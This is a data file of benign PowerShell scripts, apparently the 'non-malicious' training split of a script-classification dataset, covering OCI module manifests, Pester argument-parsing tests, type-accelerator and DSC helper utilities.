full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
combined_dataset/train/non-malicious/sample_63_96.ps1
sample_63_96.ps1
# # Module manifest for module 'OCI.PSModules.Analytics' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Analytics.dll' # Version number of this module. ModuleVersion = '84.0.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '88b806b7-e2b4-4102-95eb-65f27d654438' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Analytics Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '84.0.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Analytics.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Get-OCIAnalyticsInstance', 'Get-OCIAnalyticsInstancesList', 'Get-OCIAnalyticsPrivateAccessChannel', 'Get-OCIAnalyticsWorkRequest', 'Get-OCIAnalyticsWorkRequestErrorsList', 'Get-OCIAnalyticsWorkRequestLogsList', 'Get-OCIAnalyticsWorkRequestsList', 'Invoke-OCIAnalyticsScaleAnalyticsInstance', 'Invoke-OCIAnalyticsSetKmsKey', 'Move-OCIAnalyticsInstanceCompartment', 'Move-OCIAnalyticsInstanceNetworkEndpoint', 'New-OCIAnalyticsInstance', 'New-OCIAnalyticsPrivateAccessChannel', 'New-OCIAnalyticsVanityUrl', 'Remove-OCIAnalyticsInstance', 'Remove-OCIAnalyticsPrivateAccessChannel', 'Remove-OCIAnalyticsVanityUrl', 'Remove-OCIAnalyticsWorkRequest', 'Start-OCIAnalyticsInstance', 'Stop-OCIAnalyticsInstance', 'Update-OCIAnalyticsInstance', 'Update-OCIAnalyticsPrivateAccessChannel', 'Update-OCIAnalyticsVanityUrl' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Analytics' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/2103.ps1
2103.ps1
Describe "Native Command Arguments" -tags "CI" { It "Should handle quoted spaces correctly" { $a = 'a"b c"d' $lines = testexe -echoargs $a 'a"b c"d' a"b c"d $lines.Count | Should -Be 3 $lines[0] | Should -BeExactly 'Arg 0 is <ab cd>' $lines[1] | Should -BeExactly 'Arg 1 is <ab cd>' $lines[2] | Should -BeExactly 'Arg 2 is <ab cd>' } It "Should handle spaces between escaped quotes" { $lines = testexe -echoargs 'a\"b c\"d' "a\`"b c\`"d" $lines.Count | Should -Be 2 $lines[0] | Should -BeExactly 'Arg 0 is <a"b c"d>' $lines[1] | Should -BeExactly 'Arg 1 is <a"b c"d>' } It "Should correctly quote paths with spaces: <arguments>" -TestCases @( @{arguments = "'.\test 1\' `".\test 2\`"" ; expected = @(".\test 1\",".\test 2\")}, @{arguments = "'.\test 1\\\' `".\test 2\\`""; expected = @(".\test 1\\\",".\test 2\\")} ) { param($arguments, $expected) $lines = Invoke-Expression "testexe -echoargs $arguments" $lines.Count | Should -Be $expected.Count for ($i = 0; $i -lt $lines.Count; $i++) { $lines[$i] | Should -BeExactly "Arg $i is <$($expected[$i])>" } } It "Should handle PowerShell arrays with or without spaces correctly: <arguments>" -TestCases @( @{arguments = "1,2"; expected = @("1,2")} @{arguments = "1,2,3"; expected = @("1,2,3")} @{arguments = "1, 2"; expected = "1,", "2"} @{arguments = "1 ,2"; expected = "1", ",2"} @{arguments = "1 , 2"; expected = "1", ",", "2"} @{arguments = "1, 2,3"; expected = "1,", "2,3"} @{arguments = "1 ,2,3"; expected = "1", ",2,3"} @{arguments = "1 , 2,3"; expected = "1", ",", "2,3"} ) { param($arguments, $expected) $lines = @(Invoke-Expression "testexe -echoargs $arguments") $lines.Count | Should -Be $expected.Count for ($i = 0; $i -lt $expected.Count; $i++) { $lines[$i] | Should -BeExactly "Arg $i is <$($expected[$i])>" } } }
combined_dataset/train/non-malicious/1465.ps1
1465.ps1
filter Get-Function { param( [Parameter(Mandatory=$true,ValueFromPipeline=$true)] $Path ) Write-Verbose "Loading script '$Path'." $scriptContent = Get-Content "$Path" if( -not $scriptContent ) { return @() } $errors = [Management.Automation.PSParseError[]] @() $tokens = [System.Management.Automation.PsParser]::Tokenize( $scriptContent, [ref] $errors ) if( $errors -ne $null -and $errors.Count -gt 0 ) { Write-Error "Found $($errors.count) error(s) parsing '$Path'." return } Write-Verbose "Found $($tokens.Count) tokens in '$Path'." for( $idx = 0; $idx -lt $tokens.Count; ++$idx ) { $token = $tokens[$idx] if( $token.Type -eq 'Keyword'-and ($token.Content -eq 'Function' -or $token.Content -eq 'Filter') ) { $atFunction = $true } if( $atFunction -and $token.Type -eq 'CommandArgument' -and $token.Content -ne '' ) { Write-Verbose "Found function '$($token.Content).'" $token.Content $atFunction = $false } } }
combined_dataset/train/non-malicious/Add-Namespace_1.ps1
Add-Namespace_1.ps1
trap [System.Management.Automation.RuntimeException] { $entryException = $_ if ($_.CategoryInfo.Category -eq [System.Management.Automation.ErrorCategory]::InvalidOperation) { if ($_.FullyQualifiedErrorId -eq "TypeNotFound") { $targetName = $_.CategoryInfo.TargetName try { $isUnresolvable = $global:__ambiguousTypeNames.Contains($targetName) } catch { throw $entryException } if ($isUnresolvable) { $message = New-Object System.Text.StringBuilder $message.AppendFormat("The type [{0}] is ambiguous. Specify one of the following: ", $targetName).AppendLine() | Out-Null [System.Type]::GetType("System.Management.Automation.TypeAccelerators")::Get.GetEnumerator() | ForEach-Object { if (($_.Key.Split('.'))[-1] -eq $targetName) { $message.Append($_.Key).AppendLine() | Out-Null } } $exception = New-Object System.Management.Automation.RuntimeException -ArgumentList $message.ToString() $errorId = "TypeNotFound" $errorCategory = [System.Management.Automation.ErrorCategory]::InvalidOperation $targetObject = $_.TargetObject throw New-Object System.Management.Automation.ErrorRecord -ArgumentList $exception, $errorId, $errorCategory, $targetObject } } } } <# .SYNOPSIS Imports the types in the specified namespaces in the specified assemblies. .DESCRIPTION The Add-Namespace function adds a type accelerator for each type found in the specified namespaces in the specified assemblies that satisfy a set of conditions. For more information see the NOTES section. .PARAMETER Assembly The namespace to import. .PARAMETER Namespace Specifies one or more namespaces to import. .INPUTS System.Reflection.Assembly You can pipe an assembly to Add-Namespace. .OUTPUTS None This function does not return any output. .NOTES The type accelerator for the type is added if the type: - Has a base type which is not System.Attribute, System.Delegate or System.MulticastDelegate - Is not abstract - Is not an interface - Is not nested - Is public - Is visible - Is qualified by the namespace specified in the Namespace parameter This function also comes with an exception handler in the form of a trap block. Type name collisions occur when a type has the same name of another type which is in a different namespace. When this happens, the function adds or replaces the type accelerator for that type using its fully-qualified type name. If a type resolution occurs during runtime, the trap block will determine if the type was unresolved during any of the calls made to Add-Namespace and throw an exception listing valid replacements. The type accelerators added by this function exist only in the current session. To use the type accelerators in all sessions, add them to your Windows PowerShell profile. For more information about the profile, see about_profiles. Be aware that namspaces can span multiple assemblies, in which case you would have to import the namespace for each assembly that it exists in. This function will not attempt to add or replace types which already exist under the same name. .EXAMPLE C:\\PS> [System.Reflection.Assembly]::LoadWithPartialName("mscorlib") | Add-Namespace System.Reflection C:\\PS> [Assembly]::LoadWithPartialName("System.Windows.Forms") This example shows how to import namespaces from an assembly. The assembly must be loaded non-reflectively into the current application domain. .EXAMPLE C:\\PS> $assemblies = @([System.Reflection.Assembly]::LoadWithPartialName("mscorlib"), [System.Reflection.Assembly]::LoadWithPartialName("System"), [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"), [System.Reflection.Assembly]::LoadWithPartialName("System.Xml"), [System.Reflection.Assembly]::LoadWithPartialName("System.Xml.Linq")) C:\\PS> $assemblies | Add-Namespace System, System.Collections, System.Collections.Generic, System.Net, System.Net.NetworkInformation, System.Reflection, System.Windows.Forms, System.Xml.Linq This example shows how to import multiple namespaces from multiple assemblies. .LINK about_trap #> function Add-Namespace { [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter(ValueFromPipeline = $true)] [System.Reflection.Assembly]$Assembly, [Parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [String[]]$Namespace ) BEGIN { if ($global:__ambiguousTypeNames -eq $null) { $global:__ambiguousTypeNames = New-Object 'System.Collections.Generic.List[System.String]' } $genericRegex = [Regex]'(?<Name>.*)`\\d+' $typeAccelerators = [System.Type]::GetType("System.Management.Automation.TypeAccelerators") $typeDictionary = $typeAccelerators::Get } PROCESS { $_.GetTypes() | Where-Object { ($_.BaseType -ne [System.Attribute]) -and ($_.BaseType -ne [System.Delegate]) -and ($_.BaseType -ne [System.MulticastDelegate]) -and !$_.IsAbstract -and !$_.IsInterface -and !$_.IsNested -and $_.IsPublic -and $_.IsVisible -and ($Namespace -contains $_.Namespace) } | ForEach-Object { $name = $_.Name $fullName = $_.FullName if ($_.IsGenericType) { if ($_.Name -match $genericRegex) { $name = $Matches["Name"] } if ($_.FullName -match $genericRegex) { $fullName = $Matches["Name"] } } if ($typeDictionary.ContainsKey($name)) { if ($typeDictionary[$name] -eq $_) { return } } if ($typeDictionary.ContainsKey($fullName)) { if ($typeDictionary[$fullName] -eq $_) { return } } if ($global:__ambiguousTypeNames.Contains($name)) { $typeAccelerators::Add($fullName, $_) return } if ($typeDictionary.ContainsKey($name)) { $type = $typeDictionary[$name] if ($_ -ne $type) { $global:__ambiguousTypeNames.Add($name) $newName = $typeDictionary[$name].FullName if ($newName -match $genericRegex) { $newName = $Matches["Name"] } $typeAccelerators::Remove($name) $typeAccelerators::Add($newName, $type) $typeAccelerators::Add($fullName, $_) } return } $typeAccelerators::Add($name, $_) } | Out-Null } END { } } # Sample usage # You can do this as an initialization task for your script @( [System.Reflection.Assembly]::LoadWithPartialName("mscorlib"), [System.Reflection.Assembly]::LoadWithPartialName("System"), [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms"), [System.Reflection.Assembly]::LoadWithPartialName("System.Xml"), [System.Reflection.Assembly]::LoadWithPartialName("System.Xml.Linq") ) | Add-Namespace -Namespace ` System, System.Collections, System.Collections.Generic, System.Net, System.Net.NetworkInformation, System.Reflection, System.Windows.Forms, System.Xml.Linq
combined_dataset/train/non-malicious/522.ps1
522.ps1
function Connect-SPOContext{ param( [string]$Url ) [Reflection.Assembly]::LoadFile((Get-ChildItem -Path $PSlib.Path -Filter "ClaimsAuth.dll" -Recurse).Fullname) $Global:SPOContext = New-Object SPOContext((Get-SPUrl $Url).Url) $Global:SPOContext } function Get-SPOWeb{ $SPOWeb = $Global:SPOContext.Web $Global:SPOContext.Load($SPOWeb) $Global:SPOContext.ExecuteQuery() Return $SPOWeb } function Get-SPOList{ param( $SPOContext, $ListName ) $SPOWeb = Get-SPOWeb $SPOContext if($SPOWeb -ne $null){ $SPOLists = $web.Lists $SPOContext.Load($SPOLists) $SPOLists.ExecuteQuery() $SPOList = $SPOLists | where {$_.Title -eq $ListName} return $SPOLists } }
combined_dataset/train/non-malicious/sample_3_55.ps1
sample_3_55.ps1
# # Module manifest for module 'OCI.PSModules.Stackmonitoring' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Stackmonitoring.dll' # Version number of this module. ModuleVersion = '93.0.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '72fd42de-2724-406e-9e11-bceb4c8ef8b6' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Stackmonitoring Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '93.0.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Stackmonitoring.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Disable-OCIStackmonitoringExternalDatabase', 'Disable-OCIStackmonitoringMetricExtension', 'Enable-OCIStackmonitoringMetricExtension', 'Export-OCIStackmonitoringMetricExtension', 'Get-OCIStackmonitoringBaselineableMetric', 'Get-OCIStackmonitoringBaselineableMetricsList', 'Get-OCIStackmonitoringConfig', 'Get-OCIStackmonitoringConfigsList', 'Get-OCIStackmonitoringDiscoveryJob', 'Get-OCIStackmonitoringDiscoveryJobLogsList', 'Get-OCIStackmonitoringDiscoveryJobsList', 'Get-OCIStackmonitoringMaintenanceWindow', 'Get-OCIStackmonitoringMaintenanceWindowsList', 'Get-OCIStackmonitoringMetricExtension', 'Get-OCIStackmonitoringMetricExtensionsList', 'Get-OCIStackmonitoringMonitoredResource', 'Get-OCIStackmonitoringMonitoredResourcesList', 'Get-OCIStackmonitoringMonitoredResourceTask', 'Get-OCIStackmonitoringMonitoredResourceTasksList', 'Get-OCIStackmonitoringMonitoredResourceType', 'Get-OCIStackmonitoringMonitoredResourceTypesList', 'Get-OCIStackmonitoringProcessSet', 'Get-OCIStackmonitoringProcessSetsList', 'Get-OCIStackmonitoringWorkRequest', 'Get-OCIStackmonitoringWorkRequestErrorsList', 'Get-OCIStackmonitoringWorkRequestLogsList', 'Get-OCIStackmonitoringWorkRequestsList', 'Invoke-OCIStackmonitoringAssociateMonitoredResources', 'Invoke-OCIStackmonitoringDisassociateMonitoredResources', 'Invoke-OCIStackmonitoringEvaluateBaselineableMetric', 'Invoke-OCIStackmonitoringManageLicense', 'Invoke-OCIStackmonitoringPublishMetricExtension', 'Invoke-OCIStackmonitoringRequestMonitoredResourcesSummarizedCount', 'Invoke-OCIStackmonitoringRetryFailedMaintenanceWindowOperation', 'Invoke-OCIStackmonitoringSearchAssociatedResources', 'Invoke-OCIStackmonitoringSearchMonitoredResourceAssociations', 'Invoke-OCIStackmonitoringSearchMonitoredResourceMembers', 'Invoke-OCIStackmonitoringSearchMonitoredResources', 'Invoke-OCIStackmonitoringTestMetricExtension', 'Move-OCIStackmonitoringConfigCompartment', 'Move-OCIStackmonitoringMetricExtensionCompartment', 'Move-OCIStackmonitoringMonitoredResourceCompartment', 'Move-OCIStackmonitoringMonitoredResourceTaskCompartment', 'Move-OCIStackmonitoringProcessSetCompartment', 'New-OCIStackmonitoringBaselineableMetric', 'New-OCIStackmonitoringConfig', 'New-OCIStackmonitoringDiscoveryJob', 'New-OCIStackmonitoringMaintenanceWindow', 'New-OCIStackmonitoringMetricExtension', 'New-OCIStackmonitoringMonitoredResource', 'New-OCIStackmonitoringMonitoredResourceTask', 'New-OCIStackmonitoringMonitoredResourceType', 'New-OCIStackmonitoringProcessSet', 'Remove-OCIStackmonitoringBaselineableMetric', 'Remove-OCIStackmonitoringConfig', 'Remove-OCIStackmonitoringDiscoveryJob', 'Remove-OCIStackmonitoringMaintenanceWindow', 'Remove-OCIStackmonitoringMetricExtension', 'Remove-OCIStackmonitoringMonitoredResource', 'Remove-OCIStackmonitoringMonitoredResourceType', 'Remove-OCIStackmonitoringProcessSet', 'Stop-OCIStackmonitoringMaintenanceWindow', 'Update-OCIStackmonitoringAndPropagateTags', 'Update-OCIStackmonitoringBaselineableMetric', 'Update-OCIStackmonitoringConfig', 'Update-OCIStackmonitoringMaintenanceWindow', 'Update-OCIStackmonitoringMetricExtension', 'Update-OCIStackmonitoringMonitoredResource', 'Update-OCIStackmonitoringMonitoredResourceTask', 'Update-OCIStackmonitoringMonitoredResourceType', 'Update-OCIStackmonitoringProcessSet' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Stackmonitoring' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/sample_64_48.ps1
sample_64_48.ps1
<# .SYNOPSIS NewSelfSignedCertificate.ps1 script file This is a place-holder file only for agent patch build purposes #> Write-Host "This file functionality is deprecated and is place-holder only" # SIG # Begin signature block # MIIoLQYJKoZIhvcNAQcCoIIoHjCCKBoCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCDj7z3pvWDmHUwc # DoLpIdRCeKLQmRJNcfR5EenVXx4pMKCCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQDOS8s1ra6f0YGtg0OhEaQa/t3Q+q1MEHhWJhqQVuO5amYXQpy8MDPNoJYk+FWA # hePP5LxwcSge5aen+f5Q6WNPd6EDxGzotvVpNi5ve0H97S3F7C/axDfKxyNh21MG # 0W8Sb0vxi/vorcLHOL9i+t2D6yvvDzLlEefUCb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qHbeQTuopy7KN5UHN/Gi7fPv5aTKGfU97oyTMj1NI5bQAuS6kb3HHMRY+ # RmKMJ1LYR6+QGt1LD6kC0QbfQJybWBpX47p3bJDMH6/ohhIJl2iPxskB95lvRsH4 # L82gH8vfK+hk+DXFhqQWDw/iacAhGtJNua6rSc0bbmZEfyKzdsP4+oaYb9CptXSi # 7RbEE/t0mWVnxwNIHbRTvZEz484OtEasmiCe+F/g2dh/hycGSQGSi0zscgoDQbLA # k1Fh1xNjv0UEuibFqYBfrsQ= # SIG # End signature block
combined_dataset/train/non-malicious/Enable-BreakOnError.ps1
Enable-BreakOnError.ps1
#############################################################################\n##\n## Enable-BreakOnError\n##\n## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n##\n##############################################################################\n\n<#\n\n.SYNOPSIS\n\nCreates a breakpoint that only fires when PowerShell encounters an error\n\n.EXAMPLE\n\nPS >Enable-BreakOnError\n\nID Script Line Command Variable Action\n-- ------ ---- ------- -------- ------\n 0 Out-Default ...\n\nPS >1/0\nEntering debug mode. Use h or ? for help.\n\nHit Command breakpoint on 'Out-Default'\n\n\nPS >$error\nAttempted to divide by zero.\n\n#>\n\nSet-StrictMode -Version Latest\n\n## Store the current number of errors seen in the session so far\n$GLOBAL:EnableBreakOnErrorLastErrorCount = $error.Count\n\nSet-PSBreakpoint -Command Out-Default -Action {\n\n ## If we're generating output, and the error count has increased,\n ## break into the debugger.\n if($error.Count -ne $EnableBreakOnErrorLastErrorCount)\n {\n $GLOBAL:EnableBreakOnErrorLastErrorCount = $error.Count\n break\n }\n}
combined_dataset/train/non-malicious/sample_23_29.ps1
sample_23_29.ps1
# # Copyright (c) Microsoft Corporation. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # <# Helper functions for PowerShellGet DSC Resources. #> # Import localization helper functions. $helperName = 'PowerShellGet.LocalizationHelper' $resourceModuleRoot = Split-Path -Path (Split-Path -Path $PSScriptRoot -Parent) -Parent $dscResourcesFolderFilePath = Join-Path -Path $resourceModuleRoot -ChildPath "Modules\$helperName\$helperName.psm1" Import-Module -Name $dscResourcesFolderFilePath # Import Localization Strings $script:localizedData = Get-LocalizedData -ResourceName 'PowerShellGet.ResourceHelper' -ScriptRoot $PSScriptRoot <# .SYNOPSIS This is a helper function that extract the parameters from a given table. .PARAMETER FunctionBoundParameters Specifies the hash table containing a set of parameters to be extracted. .PARAMETER ArgumentNames Specifies a list of arguments you want to extract. #> function New-SplatParameterHashTable { [CmdletBinding()] [OutputType([System.Collections.Hashtable])] param ( [Parameter(Mandatory = $true)] [System.Collections.Hashtable] $FunctionBoundParameters, [Parameter(Mandatory = $true)] [System.String[]] $ArgumentNames ) Write-Verbose -Message ($script:localizedData.CallingFunction -f $($MyInvocation.MyCommand)) $returnValue = @{} foreach ($arg in $ArgumentNames) { if ($FunctionBoundParameters.ContainsKey($arg)) { # Found an argument we are looking for, so we add it to return collection. $returnValue.Add($arg, $FunctionBoundParameters[$arg]) } } return $returnValue } <# .SYNOPSIS This is a helper function that validate that a value is correct and used correctly. .PARAMETER Value Specifies the value to be validated. .PARAMETER Type Specifies the type of argument. .PARAMETER Type Specifies the name of the provider. .OUTPUTS None. Throws an error if the test fails. #> function Test-ParameterValue { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Value, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Type, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $ProviderName ) Write-Verbose -Message ($script:localizedData.CallingFunction -f $($MyInvocation.MyCommand)) switch ($Type) { 'SourceUri' { # Checks whether given URI represents specific scheme # Most common schemes: file, http, https, ftp $scheme = @('http', 'https', 'file', 'ftp') $newUri = $Value -as [System.URI] $returnValue = ($newUri -and $newUri.AbsoluteURI -and ($scheme -icontains $newUri.Scheme)) if ($returnValue -eq $false) { $errorMessage = $script:localizedData.InValidUri -f $Value New-InvalidArgumentException -ArgumentName $Type -Message $errorMessage } } 'DestinationPath' { $returnValue = Test-Path -Path $Value if ($returnValue -eq $false) { $errorMessage = $script:localizedData.PathDoesNotExist -f $Value New-InvalidArgumentException -ArgumentName $Type -Message $errorMessage } } 'PackageSource' { # Value can be either the package source Name or source Uri. # Check if the source is a Uri. $uri = $Value -as [System.URI] if ($uri -and $uri.AbsoluteURI) { # Check if it's a valid Uri. Test-ParameterValue -Value $Value -Type 'SourceUri' -ProviderName $ProviderName } else { # Check if it's a registered package source name. $source = PackageManagement\Get-PackageSource -Name $Value -ProviderName $ProviderName -ErrorVariable ev if ((-not $source) -or $ev) { # We do not need to throw error here as Get-PackageSource does already. Write-Verbose -Message ($script:localizedData.SourceNotFound -f $source) } } } default { $errorMessage = $script:localizedData.UnexpectedArgument -f $Type New-InvalidArgumentException -ArgumentName $Type -Message $errorMessage } } } <# .SYNOPSIS This is a helper function that does the version validation. .PARAMETER RequiredVersion Provides the required version. .PARAMETER MaximumVersion Provides the maximum version. .PARAMETER MinimumVersion Provides the minimum version. #> function Test-VersionParameter { [CmdletBinding()] param ( [Parameter()] [System.String] $RequiredVersion, [Parameter()] [System.String] $MinimumVersion, [Parameter()] [System.String] $MaximumVersion ) Write-Verbose -Message ($localizedData.CallingFunction -f $($MyInvocation.MyCommand)) $isValid = $false # Case 1: No further check required if a user provides either none or one of these: minimumVersion, maximumVersion, and requiredVersion. if ($PSBoundParameters.Count -le 1) { return $true } # Case 2: #If no RequiredVersion is provided. if (-not $PSBoundParameters.ContainsKey('RequiredVersion')) { # If no RequiredVersion, both MinimumVersion and MaximumVersion are provided. Otherwise fall into the Case #1. $isValid = $PSBoundParameters['MinimumVersion'] -le $PSBoundParameters['MaximumVersion'] } # Case 3: RequiredVersion is provided. # In this case MinimumVersion and/or MaximumVersion also are provided. Otherwise fall in to Case #1. # This is an invalid case. When RequiredVersion is provided, others are not allowed. so $isValid is false, which is already set in the init. if ($isValid -eq $false) { $errorMessage = $script:localizedData.VersionError New-InvalidArgumentException ` -ArgumentName 'RequiredVersion, MinimumVersion or MaximumVersion' ` -Message $errorMessage } } <# .SYNOPSIS This is a helper function that retrieves the InstallationPolicy from the given repository. .PARAMETER RepositoryName Provides the repository Name. #> function Get-InstallationPolicy { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $RepositoryName ) Write-Verbose -Message ($LocalizedData.CallingFunction -f $($MyInvocation.MyCommand)) $repositoryObject = PackageManagement\Get-PackageSource -Name $RepositoryName -ErrorAction SilentlyContinue -WarningAction SilentlyContinue if ($repositoryObject) { return $repositoryObject.IsTrusted } } <# .SYNOPSIS This method is used to compare current and desired values for any DSC resource. .PARAMETER CurrentValues This is hash table of the current values that are applied to the resource. .PARAMETER 